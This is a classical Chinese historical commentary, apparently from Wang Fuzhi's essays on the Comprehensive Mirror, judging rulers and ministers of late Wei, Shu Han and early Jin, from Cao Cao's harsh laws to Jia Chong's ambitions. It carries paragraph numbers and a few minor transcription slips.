漢之延祀四百、紹三代之久長、而天下戴之不衰者、高帝之寬、光武之柔、得民而合天也。漢衰而法弛、人皆恣肆以自得。曹操以刻薄寡恩之姿、懲漢失而以申・韓之法鉗網天下。崔琰・毛玠・鐘繇・陳群爭附之、以峻削嚴迫相尚。士困於廷、而衣冠不能自安。民困於野、而寢處不能自容。故終魏之世、兵旅亟興、而無敢為萑葦之寇、乃蘊怒於心、思得一解網羅以優游卒歲也、其情亟矣。司馬懿執政、而用賢恤民、務從寬大、以結天下之心。於是而自搢紳以迄編甿、乃知有生人之樂。處空穀者、聞人聲而囅然、欒盈之汰、人且歌泣以願為之死、況懿父子之謀險而小惠已周也乎。王淩之子廣曰、「懿情雖難量、事未有逆」。可謂知言矣。故曰、「得乎邱民為天子」。逆若司馬、解法網以媚天下、天且假之以息民。則乘苛急傷民之後、大有為之君起而蘇之、其為天祐人助、有不永享福祚者乎。三國鼎立、曹・劉先亡、吳乃繼之。孫氏不師申・韓之報也。曹操不足道、諸葛公有道者也、而學於申・韓、不知其失、何也。 130 三二 131 蔣琬死、費褘刺、蜀漢之亡必也、無人故也。圖王業者、必得其地。得其地、非得其險要財賦之謂也、得其人也。得其人、非得其兵卒之謂也、得其賢也。巴蜀・漢中之地隘矣、其人寡、則其賢亦僅矣。故蔣琬死、費褘刺、而蜀漢無人。 132 雖然、嘗讀常璩華陽國志、其人之彬彬可稱者不乏。張魯妖盜而有閻圃、劉焉驕怠而有黃權、王纍・劉巴、皆國士也。先主所用、類皆東州之產、耄老喪亡、而固不能繼。蜀非乏才、無有為主效尺寸者、於是知先主君臣之圖此也疏矣。勤於耕戰、察於名法、而於長養人才・涵育熏陶之道、未之講也。蔣・費亡而僅一姜維、維亦北士也、舍維而國無與託。敗亡之日、諸葛氏僅以族殉、蜀士之登朝參謀議者、僅一姦佞賣國之譙周、國尚孰與立哉。 133 管仲用於齊、桓公死而齊無人。商鞅用於秦、始皇死而秦無人。無以養之也。寬柔溫厚之德衰、人皆跼蹐以循吏之矩矱、雖有英特之士、摧其生氣以即於瓦合、尚奚恃哉。諸葛公之志操偉矣、而學則申・韓也。文王守百里之西土、作人以貽百年之用、鳶飛魚躍、各適其性以盡其能、夫豈申・韓之陋所與知哉。 134 三三 135 何晏・夏侯玄・李豐之死、皆司馬氏欲篡而殺之也。而史斂時論之譏非、以文致其可殺之罪、千秋安得有定論哉。當時人士所推而後世稱道弗絕者、傅嘏也・王昶也・王祥也・鄭小同也。數子者、以全身保家為智、以隨時委順為賢、以靜言處錞為道、役於亂臣而不怍、視國之亡・君之死、漠然而不動於心、將孔子所謂賊德之鄉原、殆是乎。風尚既然、禍福亦異、天下之圖安而思利者、固必褰裳而從之、祿位以全、家世以盛、而立人之道幾於息矣。嗚呼。此無道之世、所以崩風壞俗而不可挽也。 136 雖然、有未可以過責數子者存焉。魏之得天下也不以道、其守天下也不以仁、其進天下之士也不以禮。利啗之、法制之、奴虜使之、士生其時、不能秉耒而食、葛屨而履霜也。無管寧之操、則抑與之波流、保其家世已耳。故昶與祥皆垂裔百年而享其名位、兢兢門內之行、自求無過、不求有益於當時。士之不幸、天所弗求全也。狂狷罣於網羅、容容獲其厚福、是或一道也。不可以漢・唐・宋數百年戴天履地栽培長育之人才、忘軀捐妻子以扶綱常者責之也。施及宋・齊以降、君屢易而士大夫之族望自若也、皆此焉耳。歐陽永叔傷五代無死節之臣、而不念所事之何君也、亦過矣。王彥章之忠、匹夫之諒而已矣、況余闕乎。 137 三四 138 諸葛誕之起兵討司馬昭也、疑賢於王淩・母丘儉、而實未見其愈也。儉與誕、皆以夏侯玄之死不自安、而徼幸以爭權、使其克捷、其不為劉裕之誅桓玄、不能保也。且誕之討昭、何為也哉。無抑不欲魏社之移於司馬氏矣乎。魏而亡、亡於司馬、亡於吳、無以異也、吳豈為魏惜君臣之義、誅權姦以安其宗社者哉。誕遣其子靚稱臣於吳以起兵、則昭未篡而己先叛。以叛臨篡、篡者未形而叛者已著。其志悖、其名逆、授司馬昭以討叛之名、而惡得不敗邪。使其成也、司馬昭之族甫糜、曹氏之社早屋矣。悲夫。借敵兵以討賊者之亡人家國也、快一朝之忿而流禍無窮、誕實作俑、司馬楚之・劉昶・蕭寶寅相繼以逞、而可許之為忠乎。 139 三五 140 人知馮道之惡、而不知譙周之為尤惡也。道、鄙夫也、國已破、君已易、貪生惜利祿、弗獲已而數易其心。而周異是、國尚可存、君尚立乎其位、為異說以解散人心、而後終之以降、處心積慮、唯恐劉宗之不滅、憯矣哉。讀周仇國論而不恨焉者、非人臣也。 141 姜維之力戰、屢敗而不止、民胥怨之、然其志苦矣。民憚於勞、而不知君父之危、所賴以啟其惰心而振其生氣者、士大夫之公論耳。其論曰、「既非秦末鼎沸之時、實有六國並據之勢」。顯然以秦予魏、以韓・燕視蜀、坐待其吞噬、唯面縛輿櫬之一途耳。夫漢之不可復興、天也。蜀之不可敵魏、勢也。無可如何者也。故諸葛身殲而志決、臣子之道、食其祿、終其事、志不可奪、烈於三軍之帥。且使人心不靡於邪說、兵力不銷於荒惰、延之一日、而忠臣志士之氣永於千秋。周而無人之心哉。無亦括囊以聽、委之天而弗助其虐之為咎尚淺乎。夫民之不息、誠不容已於閔恤矣、譬之父母積疢、僕妾勞於將養、則亦酒食以勞之、和煦以拊之、使鼓舞而忘怨已耳。若恤僕妾之疲、廢藥食而聽其酣寢、有人之心者、以是為惻隱哉。 142 當周之時、黃皓・陳祇蠱庸主而不顧百姓之疾苦。誠念民也、則亦斥姦佞、勸節儉、飭守令以寬廉、使民進而戰餫、退而休息、可也。周塞目箝口、未聞一讜言之獻、徒過責姜維、以餌愚民・媚奄宦、為司馬昭先驅以下蜀、國亡主辱、己乃全其利祿。非取悅於民也、取悅於魏也、周之罪通於天矣。服上刑者唯周、而馮道末減矣。 143 三六 144 王沈刺豫州、下教、「陳長吏得失者、給穀五百斛。言刺史寬猛者、給穀千斛」。規己寬猛之宜、而賜之穀、猶之可爾。陳長吏之得失而賜之穀、險士猾民、競起而誣訐其守令、禍可勝言哉。蓋沈者、司馬氏之私人也、司馬氏以好士恤民之虛名、收辨士而要民譽、每下不情之令、行溢賞以誘天下、而沈為之役、故其教令如是之濫、未容深責也。陳廞・褚入白沈曰、「拘介之士、憚賞而不言。貪昧之人、慕利而妄舉」。韙哉言乎。可推以盡明主用人聽言之道矣。 145 拒諫者、古今之所謂大惡也。亟取人言、而貪廣聽之名、其惡隱而難知。乃公孫疆因之以亡曹、主父偃因之以亂漢。宋之中葉、上書言因革者、牘滿公府、而政令數易、朋黨爭衡、熙・豐・元・紹之間、棼如亂絲、而國隨以敝。近者民本輕達、賤士乘以希榮、姦相資之肆惡、一夫遽登省掖、而天下亟亡。嗚呼。以賞勸言之害、較拒諫而尤烈、抑如此哉。 146 然則瑱纊之塞、與明聰之達、聖人兼用以應天下、抑何道也。曰、善聽言者、必其善於擇人者也。人而善與。言雖未得、有善者存矣。人而不善與。言雖得、有不善者存矣。唐・虞之廷、或吁或咈、交相弼違者・唯其為禹・皋・稷・契也。夫禹臬・稷・稷・契、視君之失、若疢疾之攻於心。視民之病、若水火之迫於肌。而視言入而受祿也、若穢惡之加於鼻也、何俟於賞以勸之邪。故君子之聽言、先舉其人而後採其言、必不以利祿辱賢者之操、而導不肖者以猖狂無忌也。 147 察吏有常法、劾吏有常職、不獲已而登斥姦訟枉之言、然非害切於國民而痛切其肌膚、則告訐之宵人耳、誅之可矣。一興一廢、一張一弛、進臣民而酌其可否、既已無疑矣。而猶為異說焉、斥之可矣。言雖甚當、不授以官。其效雖登、必進以禮。大臣坐論、日侍於燕間。諫諍有官、各責以言職。非是者、雖或兼容並包、而必厚防其生事啟釁之傷。自匪僉人、惡有舍閨門子弟之職、置四民耕讀之恆、棄官守慎修之紀、旦揣夕摩、作為皦皦炎炎之論、以動人主、而僥幸顯名之與厚實哉。舜之耕稼陶漁而取人為善、人無所利於耕稼陶漁之夫、而言之不善者鮮矣。其為帝也、以耕稼陶漁之聽聽天下之言、則唯禹・皋・稷・契無私利之心、如深山之野人、而後決於從也。故其戒禹曰、「無稽之七、使以」。而豈以利情誘嘵嘵之士、使以訐為直乎。 148 鬻口舌以希利賴者、小人也、塾師也、禍福唯其妄測、文義唯其割裂、得利焉面情盡矣。此求治者所必遠、為學者所必拒也。人君正己以涖下、節嗜欲・遠宦寺・勤學問・公好惡、則小人之利病・國事之得失、觸之而自知。非不待言也、抑非恃人言而遂足以治也。賞之而政刑亂・朋黨興・廉恥喪・風俗靡、自非姦雄之媚眾以竅國、幾何事此而不亡。此治亂之樞機、不可不審也。 149 三七 150 後主失德而亡、非失險也、恃險也、恃則未有不失者也。君恃之而棄德、將恃之而棄謀、士卒恃之而棄勇。伏弩飛石、恃以卻敵。危石叢薄、恃以全身。無致死之心、一失其恃、則匍伏奔竄之恐後。扼以於蹊徑、而淩峭壁以下攻、則首尾不相顧而潰。故謂後主信巫言而失陰平之守以亡國、非也。陰平守、而亙數百里之山厓谿谷、皆可度越、陰平一旅、亦贅疣而已。李特過劍閣而歎劉禪之不能守、艸竅之智、乘晉亂以茍延爾。譙縱・王建・孟知祥・明玉珍蹶然而起、熸然而滅、恃險愈甚、其亡愈速矣。 151 然則諸葛公曰、「益州天府之國」。其言非乎。彼一時也、先主擁寡弱之資而無尺土、舍益州而無自立之地。乃其規畫之全局、則西出秦川、東向宛・雒、皆與魏爭於平原、而非倚險以固存也。迨乎關羽啟釁於吳、先主忿爭而敗、吳交不固、仲謀已老、宛・雒之師不能復出、公乃率孤旅以嚮秦川、事難而心苦矣。況蔣琬據涪城、姜維據漢樂、顛當守戶、而天日莫窺、不亡奚待焉。 152 漢高起自漢中、旋下三秦、急出成皋、是以瀕危而終勝。光武定都雒陽、曹操中據兗州、皆以無險為險也。周公營雒、至計存焉、而或為之說曰、「無德易以亡」。聖人既無私天下之心、抑豈欲其子孫之速亡乎。周遷雒、而不絕之系、其亡尤難於夏・殷。亡之難易、不在險之有無、明矣。 153 三八 154 司馬昭進爵為王、荀顗欲相率而拜、王祥曰、「王・公相去一階爾、安有天子三公可拜人者」。驟聞其言、未有不以為岳立屹屹、可以為社稷臣者。馮道之勞郭威曰、「侍中此行不易」。亦猶是也。炎篡而祥為太保於晉、威篡而道為中書令於周、則其亢矯以立名、而取合於新主、大略可知矣。昭謂祥曰、「今日然後知君見顧之深」。祥所逆揣而知其必然也。矜大臣之節、則太保之重任、終授之己也無疑。歷數姓而終受瀛王之爵、道固遠承衣盋於祥也。不吝於篡、而吝於一拜。不難於北面為臣、而難折節於未篡之先。天下後世不得以助逆之名相加、萬一篡奪不成如桓玄、可以避責全身、免於佐命之討、計亦狡矣。 155 以此推之、汲黯揖衛青、而曰、「使大將軍有揖客、豈不重乎」。黯之情亦見矣。欲以此求重於權臣、而可謂之社稷臣乎。司馬昭・郭威雖逆、而固非朱溫之暴、可以理奪者也。使汲黯而遇梁冀、王祥・馮道而遇朱溫、抑豈能爾哉。若夫社稷臣者、以死衛主、而從容以處、期不自喪其臣節、如謝安之於桓溫、狄仁傑之於武氏、亦豈矯矯自矜以要權奸之知遇乎。\n魏 宗室を削りて權臣 篡し、晉 同姓を封して骨肉 殘ひ、故に法者非所以守天下也。而懷・愍陷沒、瑯邪復立國於江東者幾百年、則晉為愈矣。天下者、非一姓之私也、興亡之修短有恆數、茍易姓而無原野流血之慘、則輕授他人而民不病。魏之授晉、上雖逆而下固安、無乃不可乎。然而三代王者建親賢之輔、必欲享國長久而無能奪、豈私計哉。 3 人之所以異於禽獸者、非其利病生死之知擇也。則君子之為天下君以別人於禽獸者、亦非但恤其病而使之利、全其生而使無死也。原於天之仁、則不可無父子。原於天之義、則不可無君臣。均是人而戴之為君、尊親於父、則旦易一主、夕易一主、稽首匍伏、以勢為從違而不知恥、生人之道蔑矣。以是而利、不如其病之。以是而生、不如其死之也。先王重不忍於斯民、非姑息之仁、以全軀保妻子・導天下於魚蟲之聚者、慮此深矣。然則晉保社稷於百年、而魏速淪亡於三世、其於君天下之道、得失較然矣。 4 晉武之不終也、惠帝之不慧也、懷・愍之不足以圖存、元帝之不可大有為也。然其後王敦・蘇峻・桓溫相踵以謀逆、桓玄且移天步以自踞、然而遲之又久、非安帝之不知飢飽、而劉裕功勛赫奕、莫能奪也。謂非大封同姓之有以維系之乎。宋文帝寵任諸弟、使理國政・牧方州、慮亦及此。而明帝誅夷之以無遺、蕭道成乃乘虛而攘之。嗣是而掇天位者如拾墜葉、臣不以易主為慚、民不以改姓為異。垂及唐・宋、雖權臣不作、而盜賊夷狄進矣。然則以八王之禍咎晉氏之非、抑將以射肩請隧咎文昭武穆之不當裂土而封乎。法不可以守天下、而賢於無法。亦規諸至仁大義之原而已。 5 二 6 諫必有專官乎。古之明王、工瞽・庶人皆可進言於天子、故周官無諫職、以廣聽也。諫之有官、自漢設諫議大夫始。晉初立國、以傅玄・皇甫陶為之、唐之補闕拾遺、宋之司諫、皆放此而立也。諫有專官、而人臣之得進言於君僅矣。雖然、古今之時異、而廣聽之與慎聽也、不得不殊。進言之跡同、而受益之與防邪也、亦各有道。未可以一概論也。 7 古之民樸矣、農・工・商・賈各世其業。士之游於庠序者、亦各有常學、不能侈聞見・飾文詞以動當世。迨及戰國、教衰而人自為學、揣摩當世之務者、競尚其說、縱之以言、則偏私逞而是非亂。則必擇其忠直而達治理者任之、而後無稽之言、不敢破聖道・紊綱紀、以熒主聽。則專官之任、亦未可謂盡非、時使然也。 8 諫官專立、職專諫矣。然非專諫於其官、而禁外此者之諫也。不淫聽於辨言、而不塞聰於偏聽。茍得忠直知治者司其是非之正、則懷忠樂進者相感以興。乃若聽之之道、群言競奏、而忠佞相殽、存乎君之辨之、不徒在言者也。諫者以諫君也。邇聲色、殖貨利、狎宦戚、通女謁、怠政事、廢學問、崇佛老、侈宮室、私行遊、媟威儀、若此者諫官任之。大小群臣下逮於庶人、茍有言焉、則固天子所宜側席而聽者也。即言之過、而固可無尤也。外此、人與政其亟矣。然而人之賢不肖、銓衡任之。政之因革、所司任之。雖君道之所必詳、而清諸其源、則是非著而議論一。爭於其流、則議論繁而朋黨興。貞邪利害、各從其私意、辨言邪說、將自此以起、固不可不慎防之。而廣聽適以召奸、尤明主所深懼也。 9 以要言之、言而譏非乎我者、雖激雖迂、而不可忽也。言而褒貶於人・辨說乎事者、辨雖詳、辭雖切、而未可信也。士之受規於朋友者且然、而況君天下者乎。然則選忠直知治者任諫職於上、而主意昭宣、風尚端直、則群言博採、而終弗使主父偃・息夫躬之流、矜文采以讎其姦邪。慎之也、即所以廣之也。又何必執周官之不設諫臣以下訪芻蕘哉。 10 近者分諫職於臺省、聽亦廣矣。而六科司抄發之任、十三道司督察之權、糾劾移於下、而君德非所獨任、故詭隨忿戾、迭相進退、而國是大亂、則廣之適以廢之。黨人交爭、勞臣掣肘、將諫官之設、以諫下而非諫君乎。拂其立諫之經、而予以譖言之徑、乃至僉人游士獻邪說以為用人行政之蝥賊。不專不慎、覆軌已昭、後世尚知鑒哉。 11 三 12 晉始建國、立七世之廟、除五帝之座、罷圜丘方澤之祀、合之於郊、皆宗王肅而廢鄭玄也。於是而知王肅之學、醇正於鄭玄遠矣。後世經學傳鄭氏、肅之正義、沒而不傳、則賈公彥・孔穎達之怙專師而晦道也。 13 周之祀典、組紺以上不廢也。而限天子之廟於五世、合兩世室而始為七、玄之託於義而賊仁也。周禮合樂於圜丘方澤者、非祭也、所以順陰陽・合律呂而正樂也。而謂郊之外有圜丘方澤之大祀、玄之淫於樂以亂禮也。其尤妖誣而不經者、為上帝之名曰耀寶魄、又立靈威仰・赤熛怒・白招矩・葉光紀之名、為四方之帝、有若父名而賓字之者、適足以資通人之一哂。而以之釋經、以之議禮、誣神媟天、黷祀惑民、玄之罪不容貸矣。託之於星術、而實傳之於讖緯、夫且誣為孔氏之書。正肅氏起而辨之、晉武因而絀之、於是禁星氣讖緯之學、以嚴邪說之防、肅之功大矣哉。惜乎世遠俗流、師承道圮、而肅學不傳也。如其傳、則程・朱興起、尚有所資以闢鄭氏之淫辭與。 14 四 15 三代以下、用兵以道、而從容以收大功者、其唯羊叔子乎。祖逖之在雍邱、宗澤之在東京、屹立一方以圖遠略、與叔子等。乃逖卒而其弟稱兵以犯順、澤卒而部眾瓦解以為盜、皆求功已急而不圖其安、未嘗學於叔子之道以弭三軍之驕氣、驕則未有能成而不亂者也。 16 或曰、叔子之時、晉盛而吳衰、擁盛勢以鎮之、則敵亡可以坐待。而逖與澤抗方張之虜、未可以理折、則時異而不可相師矣。 17 曰、叔子之可以理服、而逖・澤不能者、遇陸抗耳。若夫敵國之氓、信其仁厚而願歸附之、則逖與澤之鄰壤、猶晉・宋之遺黎。而叔子則晉・吳異主、義不相下者也。使逖與澤以此臨之、不愈效乎。夫陸抗亦智深謀遠不與叔子爭一日之利耳、使其狂逞如石勒・女直之為、則其亡愈速。是遇陸抗者、兩碁逢敵之難、而非易制於石勒・女直也。石勒雖驍、而志不及於江・淮、且未幾而國內大亂、甚於孫皓之猶安處也。女直雖競、而斡離不・撻嬾・兀術各懷猜忌、豕突鹿奔、無有能如陸抗之持重以相制者。使二子以道御兵、以信撫民、以緩制敵、垂之數十年、趙有冉閔之亂、金有完顏亮之變、以順臨逆、以靜待動、易於反掌矣。叔子之功、亦收之身後者也、何至於子弟為梟獍以伏誅、部曲竄萑葦而僨起哉。故曰逖與澤求之已急而未圖其安也。逖有雍邱之可據、而郭默・邵續之流、皆相倚以戴晉。澤有東京之可恃、而兩河忠義、皆相待以效功。與為憤興、而不與為固結、二子之志義尚矣、惜乎其不講於叔子之道也。 18 五 19 用人與行政、兩者相扶以治、舉一廢一、而害必生焉、魏・晉其驗已。雖無佞人、而亟行苛政以鉗束天下、而使亂不起。然而人心早離、樂於易主、而國速亡。政不苛而用佞人、其政之近道、足以羈縻天下使不叛、然而國是亂、朋黨交爭、而國速以亂。 20 曹孟德懲漢末之緩弛、而以申・韓為法、臣民皆重足以立。司馬氏乘之以寬惠收人心、君弒國亡、無有起衛之者。然而魏氏所任之人、自謀臣而外、如崔琰・毛玠・辛毗・陳群・陳矯・高堂隆之流、雖未聞君子之道、而鯁直清嚴、不屑為招權納賄・驕奢柔諂猥鄙之行、故綱紀粗立、垂及於篡、而女謁宵小不得流毒於朝廷、則其效也。 21 晉武之初立、正郊廟、行通喪、封宗室、罷禁錮、立諫官、徵廢逸、禁讖緯、增吏俸、崇寬弘雅正之治術、故民藉以安。內亂外逼、國已糜爛、而人心猶繫之。然其所用者、賈充・任愷・馮勗・荀紞・何曾・石苞・王愷・石崇・潘岳之流、皆寡廉鮮恥貪冒驕奢之鄙夫。即以張華・陸機錚錚自見、而與邪波流、陷於亂賊而愍不畏死。雖有二傅・和嶠之亢直、而不敵群小之翕訿。是以彊宗妒后互亂、而氏・羯乘之以猖狂。小人濁亂、國無與立、非但王衍輩清談誤之也。 22 是用人行政、交相扶以圖治、失其一、則一之僅存者不足以救。古今亂亡之軌、所以相尋而不舍也。 23 以要言之、用人其尤亟乎。人而茍為治人也、則治法因之以建、而苛刻縱弛之患兩亡矣。魏之用人、抑茍免於邪佞爾、無有能立久長之本、建弘遠之規者也。孟德之智、所知者有涯。能別於忠佞之分、而不能虛衷以致高朗宏通之士。爭亂之餘、智術興、道德墜、名世之風邈矣。僅一管寧、而德不足以相致也。晉承魏之安處、時非無賢、而獎之不以其道、進之不以其誠、天下頹靡、而以老・莊為藏身之固、其法雖立、文具而已。使二代之君、德修而勤於求治、天下群趨於正、而豈患法之不立乎。宋太祖・太宗之所以垂統久長、而天下懷其德於既亡之餘、庶幾尚已。 24 六 25 杜預欲短太子之喪、而曰、「君子之於禮、存諸內而已」。安得此野人之言而稱之哉。今有人焉、心不忘乎敬父、而坐則倨以待。情不恝乎愛兄、而怒則紾其臂。亦將曰存諸內而已乎。內外交相維・交相養者也、既飾其外、必求其內、所以求君子之盡其誠。欲動其內、必飭其外、所以導天下而生其心也。今使衰麻其衣、疏糲其食、倚廬其寢處、然而馳情於淫侈以忘其哀慕者、鮮矣。耳目制之、心不得而動也。藉令錦其衣、肉其食、藻井綺疏金樞玉戶其寢處、雖有哀慕之誠、不蕩而忘者、鮮矣。耳目移而心為之蕩也。故先王之制喪禮、達賢者之內於外、以安其內、而制中材之外、以感其內。故曰、直情徑行、戎狄之道也。夫鳥獸之啾啁以念死、內非不哀、而外無所飾、則未幾而忘之矣。野人之內存而外不著見者、亦如是而已矣。 26 杜預之於學也亦博矣、以其博文其不仁、六經之旨、且以之亂。諒闇者、梁菴也、有梁無柱、茅芐垂地之廬也、而誣之曰心喪。叔向之譏景王曰、「有三年之喪二」。謂之有喪矣、非謂存諸內者之徒戚也、而誣之曰不譏除喪、而譏其燕樂之已早。預之存諸內者、誣聖欺天、絕人而禽之、猶曰君子之於禮、存諸內而已乎。故曰、「以禮制心」。心有不存、而禮制之。其外無別、則內之存與不存、又奚以辨哉。邪說逞、人道息。凡今之人、皆曰、臣忠・子孝・兄友・弟恭、求其心而已。而心之不可問者多矣。不仁哉杜預之言、以賊天下有餘也。 27 七 28 嵇紹可以仕晉乎。曰、不可。仕晉而可為之死乎。曰、仕而惡可弗死也。仕則必死之、故必不可仕也。父受誅、子讎焉、非法也。父不受誅、子不讎焉、非心也。此猶為一王之下、君臣分定、天子制法、有司奉行、而有受誅不受誅者言也。嵇康之在魏、與司馬昭俱比肩而事主、康非昭之所得殺而殺之、亦平人之相賊殺而已。且康之死也、以非湯・武而見憚於昭、是晉之終篡、康且遺恨於泉下、而紹戴之以為君、然則昭其湯・武而康其飛廉・惡來矣乎。紹於是不孝之罪通於天矣。 29 沈充以逆伏誅、而子勁為晉效死。蔡仲之命曰、「爾尚蓋前人之愆。一沈勁克當之矣。紹蓋前人之美、而以父母之身、糜爛而殉怨不共天之亂賊、愚哉其不仁也。湯陰之血、河不灑於魏社為屋之日、何不灑於叔夜赴市之琴、而灑於司馬氏之衣也。 30 八 31 魏・晉之際、有貞士曰范粲、較管寧・陶潛而尤烈、而稱道絕於後世。士之湮沒而志不章者、古今不知凡幾也。寧以行誼著、潛以文采傳、粲無他表見、而孤心隱矣。乃其亢志堅忍、則二子者未之逮焉。送魏主芳而哀動左右、三十六年佯狂不言、卒於車中、子喬侍疾、足不出邑里、父子之志行、誠末世之砥柱矣。文采行誼無所表見、志不存焉耳。寧之不若此也、寧未仕漢、而粲已受祿於魏也。潛之不若此也、知晉之將亡而去之、不親見篡奪之慘也。故二子無妨以文行表見、而粲獨不可。難哉其子之賢也。晉賜祿以養疾、賜帛以治喪、而不受。嵇紹聞之、尚為仇讎之子孫捐父母之身、人之賢愚相去有若此哉。粲之所為、難能也。非但難能也、其仁矣乎。 32 九 33 晉詔諸王大國置三軍、次國二軍、小國一軍、其所依倣之名曰周制也。古之諸侯、皆自有兵、周弗能奪、而非予之也。其自周始建之國、各使有兵、彼有而此不得獨無也。郡縣之天下、兵皆統於天子、州郡不能自有其人民、獨假王侯以兵、授以相競之資、何為也哉。夫晉豈果循周制以追三代之久安長治也乎。懲魏之虧替宗室、而使權臣乘之耳。乃魏之削諸侯者、疑同姓也。晉之授兵宗室以制天下者、疑天下也。疑同姓而天下乘之、疑天下而同姓乘之、力防其所疑、而禍發於所不疑、其得禍也異、而受禍於疑則同也。 34 嗚呼。以疑而能不召亂亡之禍者無有。天下皆以為疑己矣、而孰親之。其假以防疑者、且幸己之不見疑而窺其疏以乘之。無可親而但相乘、於是而庸人之疑、終古而不釋。道不足於己、則先自疑於心。心不自保、而天下舉無可信、兄弟也、臣僚也、編氓也、皆可疑者也。以一人之疑敵天下、而謂智計之可恃以防、其愚不可廖、其禍不可救矣。親親而以疑、則親非其親。尊賢而以疑、則賢非其賢。愛眾而以疑、則眾非其眾。夫何疑哉。君子樂得其道、小人樂得其欲而已矣。交君子以道、給小人之欲、孤遊於六合、而荊棘不生、無有聖賢而無豪傑之度者也。 35 一○ 36 天下惡有無故殺人而可以已亂者哉。齊王攸欲殺劉淵、王渾曰、「柰何以無形之疑殺人」。其說是也。舍殺而無以馭之也、淵之所以終亂晉而殘之也。不殺淵而淵反、則咎王渾。殺淵而胡叛、則抑且咎齊王。舍本循末、兩俱有咎、而孰能任之。曹魏之居匈奴於內地、使若淵者得以竊中國文事武備之緒餘、濟其姦而啟雄心、其禍久矣。淵即死、若聰・若曜・若猛・若宣、挾怨以求逞、能旦殺一人・夕殺一人・皆無罪而翦之乎。契丹之所以深女直之怨而激之起、豈有幸哉。 37 夫晉承魏失、固未可急驅除之矣。王濟欲任淵以平吳、縱虎自衛之術也。李憙欲發匈奴五部、假淵將軍之號征樹機能、此策之善者、而孔恂諫止之、何也。恂誠憂淵之叵測、抑必有術以制之、而但色變於談虎哉。涼者、中國之贅餘也、河・湟之閑、夷狄之所便也、淵西征而蕩平樹機能之墟、即割其地以安之、而淵之心戢矣。淵即不戢、五部之心亦戢矣。馭得其道、則且不敢竊河西而據之。即其不然、我據蕭關以距之、其極逞也、亦但如元昊而止耳。孰如近在汾・晉之閑、使我不軌之士民、教猱倀虎、河決魚爛於腹心乎。故知李憙之謀、非但以平樹機能也、實以斥淵而遠之也、此弭禍於將然之善術也。一疑之、一畏之、無可如何而姑置之。淵且自危・且自矜・尤且自信也。是召之以必反之道也。嗚呼。晉之失政、賄賂已耳、交游已耳。王渾父子得賄而保淵、孔恂・楊珧不得賄而惎淵、故李憙之深識不庸。非淵之能亡晉也、晉自亡耳。 38 一一 39 傅咸之忠、荀勗之佞、判然別矣。而其議省官也、則勗之說為長。故聽言者、不惟其人、惟其言而已矣。咸剛直而疾惡已甚、見閑曹之吏、或怠傲而廢功、或舞文以牟利、憤然曰、「焉用此為、而以費農夫之粟、空國家之帑哉」。其言非不快於一時之心、而褊衷以宰天下、天下又惡能宰哉。 40 古者方五十里之國、卿大夫士府史胥徒具、群聚以上食於公・下食於民、而不憂其乏。天下之大、庶官僅供其職、而曰「公私不足」、此翁嫗之智、不出簞豆之閑。故曰、褊衷以宰天下、天下弗能宰也。 41 古之建官以治事治民、固也。而君子野人、天秩之以其才、敘之以其類、率野人以養君子、帖然奉之而不靳、豈人為哉。王者以公天下為心、以扶進人才於君子之塗為道。故一事而分任之、十姓百家而即立之長以牧之、農人力耕而食之無媿、君不孤貴而養之必周。乃使一藝・一經・一能・一力者、皆與於君子之列、而相獎以廉恥。雖有荑稗、不盡田而芟刈、使扶良苗以長、但勿令奪苗之滋可矣。 42 官省而人之能與於選者其塗隘、力不任耕・志不安賤之士、末繇分天之祿以自表異、則且淫而為姦富、激而為盜賊。君子之塗窮、而小人之歧路百出、風俗氾濫於下、國尚孰與立哉。惟用人之塗廣、而登進之數多、則雖有詭遇於倖門者、而惜廉隅・慎出處之士、亦自優游以俟、而自不困窮以沒世。如其省官而員數減、則入仕也難。入仕難、則持選舉之權者益重。數十人而爭一軌、茍有捷徑之可趨、雖自好者、不能定情以堅忍。而秉銓茍非其人、則自尊如帝、操吉凶也如鬼、託澄汰以為壟斷、而所裁抑者類修潔之士、所汲引者皆躁佞之夫。士氣萎、官邪興、流沔而無所立、即使傅咸任之、且不能挽頹波以從綱紀、況莫保司銓之得盡如咸乎。故君子甚患夫剛直者之婞婞以忿疾當世、而欲以刻覈重抑天下之心也。 43 況其言曰、「公私不足、併官以務農」。則尤悖甚。為吏者幾何人、而廢天下幾何之頃畝。有天下而汲汲憂貧、奪天所貴重之君子、使為農圃之小人、以充府庫。非商鞅之徒、孰忍為此哉。治天下有道、非但足食而遂足以立也。荀勗曰、「清心省事」。庶幾經國之弘猷、詎可以其人而廢之。 44 一二 45 賈充之力阻伐吳也、不知其何心、或受吳賂而為之閒、或忌羊・杜・二王之有功而奪其寵、皆未可知。抑以充之積奸之情度之、不但然也。曹操討董卓・勦黃巾・平袁紹、戰功赫然、而因以篡漢。司馬懿拒諸葛・平遼東、司馬昭滅蜀漢、兵權在握、而因以篡魏。充知吳之必亡、而欲留之以為己功、其蓄不軌之志已久、特畏難而未敢發耳。乃平吳之謀始於羊祜、祜卒、舉杜預以終其事、充既弗能先焉、承其後以分功而不足以逞、惟阻其行以俟武帝之沒、己秉國權、而後曰吳今日乃可圖矣、則諸將之功皆歸於己、而己為操・懿也無難。此其情杜預・張華固已知之、憚武帝之寵充而未敢言爾。觀其納女於太子、知惠帝之愚而以甥舅畜之。曹操之妻獻帝、楊堅之妻周主、皆此術也。其謀秘、其姦伏、時無有摘發之者、而史亦略之。千載之下、有心有目、灼見其情、夫豈無故以撓大猷也哉。 46 嗚呼。晉感充之弒君以戴己、而不早為之防、求其免於亂也難矣。所幸充死七年而武帝始崩、賈謐庸才、且非血胤、不足以為司馬昭耳。不然、高貴鄉公之刃、豈有憚而不施之司馬氏乎。女子猶足以亡晉、充而在、當何如也。項羽非侯生之君也、漢高以其誑羽而遠之若蛇虺。石守信・高懷德之流、未嘗任弒君之惡也、宋太祖以其戴己而防之若仇敵。變詐凶很不知有名義者、君不可以為臣、士不可以為友。孫秀灑南向之涕、諸葛靚懷漆身之忠、晉弗能用焉、其不再傳而大亂、有以也夫。 47 一三 48 秦滅六國而銷兵、晉平吳而罷州郡兵、未幾而大亂以亡。泰誓稱武王克殷、放牛歸馬、釁甲橐弓、示天下弗用、秦・晉與周將無同道、而成敗迥異、何也。 49 